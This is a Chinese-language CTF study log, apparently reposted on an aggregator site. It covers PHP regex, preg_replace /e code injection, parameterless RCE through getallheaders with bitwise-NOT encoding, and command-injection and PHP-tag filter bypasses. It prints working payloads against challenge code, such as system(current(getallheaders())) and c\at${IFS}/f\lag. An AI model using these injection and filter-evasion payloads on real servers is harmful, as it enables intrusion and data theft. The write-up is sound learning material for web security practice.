2024.3.26学习总结

news2024/11/27 4:36:54

一,正则匹配

正则匹配是用来搜索,匹配,替换的一种字符串模式,使用正则匹配可以让搜索匹配的语句更加简洁,在php中会使用一些函数来处理正则匹配

常用的语法:
  字符类
  • [abc]: 匹配单个字符a、b或c
  • [^abc]: 匹配除了a、b和c之外的任意字符
  • [a-z]: 匹配任意小写字母
  • [A-Z]: 匹配任意大写字母
  • [0-9]: 匹配任意数字
通用原子
  • .: 匹配任意字符
  • \d: 匹配任意数字,等价于[0-9]
  • \w: 匹配任意字母、数字或下划线,等价于[a-zA-Z0-9_]
  • \s: 匹配任意空白字符,如空格、制表符等
  • \S: 匹配除了空格符之外
  • \W:匹配除了字母,数字,下划线之外
限定符

定位符
  • ^: 匹配行的开头
  • $: 匹配行的结尾
  • \b: 匹配单词边界
[BJDCTF 2020]ZJCTF,不过如此

这题涉及到了preg_replace/e模式绕过,所以我觉得要先了解一下正则匹配才会好理解一些。

preg_replace函数是一个正则的搜索替换函数

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

 preg_replace ( 正则表达式,替换,目标字符串,最大替换次数[默认-1],替换次数 )

在/e模式下,第一个位置和第三个位置都是可控的变量,也就是说,正则匹配和目标字符串都能控制

preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

当preg_replace匹配到符号正则的字符串时,就会把替换的字符串当做代码执行,但是替换字符串的位置却固定为字符串,这个字符串的含义为\1,所以这里代表访问临时缓冲区中的第一个子匹配项,也就是第一个位置

看看题目,常规的GET传参和php伪协议,值得一说的是file_get_contents是读取文件的函数,所以传入文件的类型才能读取,所以需要用到data://来写入,在用php://filter读取next.php中的信息

text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到base64编码,解码能看到php代码

preg_replace/e模式,id这个传参好像没有用到,这里的思路应该是,看到getFlag(),并且通过它来执行eval命令,所以在上面就应该调用到这个对象。那么就要控制$re,$str,去查了资料,$re这个位置如果想要用.*,匹配任意字符的话,在用\.*做参数传入会被解析为\_*,所以改用\S*匹配(应该是属于利用通配符来匹配,进行任意的匹配来执行函数,访问目标函数)

\S*=${getFlag()}

getFlag(),就是缓冲区中的第一个位置,就访问了getFlag,经过foreach遍历数组,\s*=>getFlag,这样就调用了getFlag

cmd=phpinfo();

这题我看有些wp,在其他平台的flag可以再flag里面查看,但是NSSCTF的是空的,在phpinfo里面

所以我就写phpinfo

二,RCE(getallheaders(),无参数)

getallheaders()

获取当前请求的所有请求头信息。(该函数不需要参数,因为是获取请求头信息,所以在请求头上进行命令的执行)

返回值:array(返回二维数组)

<?php

foreach (getallheaders() as $name => $value) {
    echo "$name: $value";
}
?>

无参数RCE的一些函数,一般是搭配使用

[鹏城杯 2022]简单的php

看题,参数长度小于等于80,并且过滤了字母数字,属于无字母了,取反绕过

else if里面的‘;’,说明进行没有参数传参来进行preg_replace函数

payload

code=system(current(getallheaders()))

进行取反,在二维数组拼接时要用[!%FF]

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'current');
echo "\n";
echo urlencode(~'getallheaders');
?>

在请求头执行ls等语句查询目录

最后加转义符绕过(这里的绕过是发现cat不了flag,所以尝试出来的),拿到flag

[FSCTF 2023]细狗2.0

记录这题是为了记录,在没有回显时,不一定就是使用tee命令,有些可以通过其他的位置来达到回显的目的

看题目,正常输入个1试试水,看看什么情况

进入传参后的页面,一开始认为在"1"这个位置进行命令执行,但是发现怎样都拿不到信息

 然后去看了wp,后面的“洗洗睡吧”,这个位置是在命令执行之后显示的,所以可以在这个位置进行命令执行,来拿到信息

 存在一个空格绕过,而且我用system执行不了

1;ls${IFS}/

 cat和flag也是被过滤了

1;c\at${IFS}/f\lag

三,php标签

php标签用于包裹,嵌入PHP代码。在标签中的代码会被服务器解析为PHP代码,并在服务器端执行。这个标签可以用于任何PHP代码,包括变量声明、函数定义、逻辑判断、循环等等。

 常见的标签有

<?php echo "hellow";?>
<?php echo "hellow"; //省略?>
<? echo "hellow";?>
<?= phpinfo();?> //<?=相当于echo的用法(在最近的考核中也是涉及到了)
<script language="php"> echo "hellow"; </script>
[FSCTF 2023]EZ_eval

先看源码

为什么会想到用<?php>的形式呢,是因为在eval函数中在末尾拼接了?>,所以觉得应该用php标签

正则过滤了一些命令,不过可以用转义符来绕过,还存在空格过滤,用%09;之后的字符替换中把?用空格替换了,也就导致php标签要选用长标签,长标签中不存在?

word=<script%09language="php">system('ls%09/');

<script%09language="php">system('c\at%09/fl\ag');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1558581.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java的抽象类和接口

抽象类&#xff1a; abstract,可以用此关键字修饰类和方法 abstract修饰类就是抽象类&#xff0c;修饰方法就是抽象方法 抽象类的注意事项&#xff0c;特点&#xff1a;抽象类不一定有抽象方法&#xff0c;但有抽象方法的类一定是抽象类 类该有的成员&#xff08;成员变量&…

阿里云ECS经济型e实例,性价比超高的入门级云服务器!

阿里云服务器ECS经济型e系列是阿里云面向个人开发者、学生、小微企业&#xff0c;在中小型网站建设、开发测试、轻量级应用等场景推出的全新入门级云服务器&#xff0c;CPU处理器采用Intel Xeon Platinum架构处理器&#xff0c;支持1:1、1:2、1:4多种处理器内存配比&#xff0c…

在A中删除既在B表中出现又在C表中出现的元素

方法一&#xff08;感觉有点取巧&#xff0c;不太推荐&#xff0c;但是实现简单&#xff09;&#xff1a; 算法思想:保留La的头节点&#xff0c;并用pcur指针指向La链中的第一个结点&#xff0c;通过pcur指针遍历La中的每一个元素&#xff0c;并判断该元素是否在Lb和Lc链中出现…

腾讯云2核4G服务器优惠价格165元一年,限制500GB月流量

腾讯云轻量2核4G5M服务器租用价格165元1年、252元15个月、三年900元&#xff0c;配置为轻量2核4G5M、5M带宽、60GB SSD盘、500GB月流量、上海/广州/北京&#xff0c;腾讯云优惠活动 yunfuwuqiba.com/go/txy 腾讯云轻量2核4G5M服务器租用价格 腾讯云&#xff1a;轻量应用服务器1…

一篇搞定AVL树+旋转【附图详解旋转思想】

&#x1f389;个人名片&#xff1a; &#x1f43c;作者简介&#xff1a;一名乐于分享在学习道路上收获的大二在校生 &#x1f648;个人主页&#x1f389;&#xff1a;GOTXX &#x1f43c;个人WeChat&#xff1a;ILXOXVJE &#x1f43c;本文由GOTXX原创&#xff0c;首发CSDN&…

java AIO为什么用的并不多

Java AIO的本质是什么 原文&#xff1a;https://blog.csdn.net/hellojackjiang2011/article/details/131322757?spm1001.2101.3001.6650.1&utm_mediumdistribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-131322757-blog-103915337.235%5Ev43%5Epc_blo…

鸿蒙OS(ArkTS) 案例:【使用http网络请求框架加载验证码】

需求&#xff1a;加载验证码&#xff1b;1.下载验证码图像文件&#xff1b;2.获取header里面验证码ID 踩坑--踩坑--踩坑 根据文档使用 request.downloadFile 请求&#xff0c;官方示例: // pages/xxx.ets // 将网络资源文件下载到应用文件目录并读取一段内容 import common …

微信小程序开发【从入门到精通】——页面导航

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

【面试专题】JVM相关

1.为什么需要JVM&#xff0c;不要JVM可以吗&#xff1f; 1.JVM可以帮助我们屏蔽底层的操作系统 一次编译&#xff0c;到处运行 2.JVM可以运行Class文件 2.JDK&#xff0c;JRE以及JVM的关系 3.我们的编译器到底干了什么事&#xff1f; 仅仅是将我们的 .java 文件转换成了 .cl…

帆软报表在arm架构的linux

有朋友遇到一个问题在部署帆软报表时遇到报错。 问 我在 arm架构的linux服务器上部署帆软报表遇到了一个棘手的问题&#xff0c;你有空帮忙看下嘛。 我看后台日志报的错是 需要升级 gcc、libmawt.so &#xff0c;是系统中缺少Tomcat需要的依赖库&#xff0c;你之前处理过类似…

基于uQRCode封装的前端二维码生成组件实践

在前端开发中&#xff0c;二维码生成已成为一种常见需求。二维码凭借其简洁、方便的特点&#xff0c;被广泛应用于产品推广、信息交互等多个场景。在此背景下&#xff0c;开发一个易于使用且性能优越的二维码生成组件变得至关重要。本文基于uQRCode封装了一个前端二维码生成组件…

详解JAVA程序调优

目录 1.概述 2.命令 2.1.查看JAVA进程 2.2.查看虚拟机状态 2.3.查看线程的情况 3.工具 3.1.jconsole 3.2.jvisualVM 4.实战场景 1.概述 在实际工作中我们难免会遇见程序执行慢、线程死锁等一系列的问题&#xff0c;这时候就需要我们定位具体问题然后来解决问题了。所…

安科瑞路灯安全用电云平台解决方案【电不起火、电不伤人】

背景介绍 近年来 &#xff0c;随着城市规模的不断扩大 &#xff0c;路灯事业蓬勃发展。但有的地方因为观念、技术、管理等方面不完善 &#xff0c;由此引发了一系列安全问题。路灯点多面广 &#xff0c;一旦漏电就极容易造成严重的人身安全事故。不仅给受害者家庭带来痛苦 &am…

抽象类和接口的简单认识

目录 一、抽象类 1.什么是抽象类 2.抽象类的注意事项 3.抽象类与普通类的对比 二、接口 1.接口的简单使用 2.接口的特性 3.接口的使用案例 4.接口和抽象类的异同 一、抽象类 所谓抽象类&#xff0c;就是更加抽象的类&#xff0c;也就是说&#xff0c;这个类不能具体描…

雷卯有多种接口与电源保护方案

在当今的电子设备中&#xff0c;各种接口和电源保护至关重要。它们不仅关乎设备的正常运行&#xff0c;更直接影响到数据传输的稳定性和设备的安全。雷卯公司以其专业的技术和丰富的经验&#xff0c;为您提供全面的接口与电源保护方案&#xff0c;确保您的系统安全稳定运行。 …

图像分割论文阅读:Automatic Polyp Segmentation via Multi-scale Subtraction Network

这篇论文的主要内容是介绍了一种名为多尺度差值网络&#xff08;MSNet&#xff09;的自动息肉分割方法。 1&#xff0c;模型整体结构 整体结构包括编码器&#xff0c;解码器&#xff0c;编码器和解码器之间是多尺度差值模块模块&#xff08;MSM&#xff09;&#xff0c;以及一…

golang grpc和protobuf的版本降级问题(version4 -> version3)

最后更新于2024年3月28日 10:57:52 简中没查到类似的文章。一点小事闹麻了&#xff0c;搞了一天&#xff0c;特意发出来造福大家。 所谓的版本就是下面这个东西proto.ProtoPackageIsVersion4或者proto.ProtoPackageIsVersion3&#xff1a; 目的 为了适配旧代码&#xff0c…

探索c++:string常用接口 迷雾

个人主页&#xff1a;日刷百题 系列专栏&#xff1a;〖C/C小游戏〗〖Linux〗〖数据结构〗 〖C语言〗 &#x1f30e;欢迎各位→点赞&#x1f44d;收藏⭐️留言&#x1f4dd; ​ ​ 一、string类 这里我们对string类进行一个简单的总结&#xff1a; string是表示字符串的字…

蓝桥小白入门赛6

原题链接&#xff1a;第 6 场 小白入门赛 - 蓝桥云课 目录 A、元宵节快乐 B、猜灯谜 C、数学奇才 D、你不干&#xff1f;有的是帕鲁干&#xff01; E、等腰三角形 F、 计算方程 A、元宵节快乐 签到题 print("Today AK!") B、猜灯谜 模拟&#xff0c;特判下…

容器四(Map 接口)

目录 HashMap 和 HashTable Map 接口中的常用方法 HashMap 底层实现 Hashmap 基本结构 存储数据过程 put(key,value) 取数据过程 get(key) 扩容问题 JDK8 将链表在大于 8 情况下变为红黑二叉树 Map 就是用来存储“键(key)&#xff0d;值(value) 对”的。 Map 类中存储的…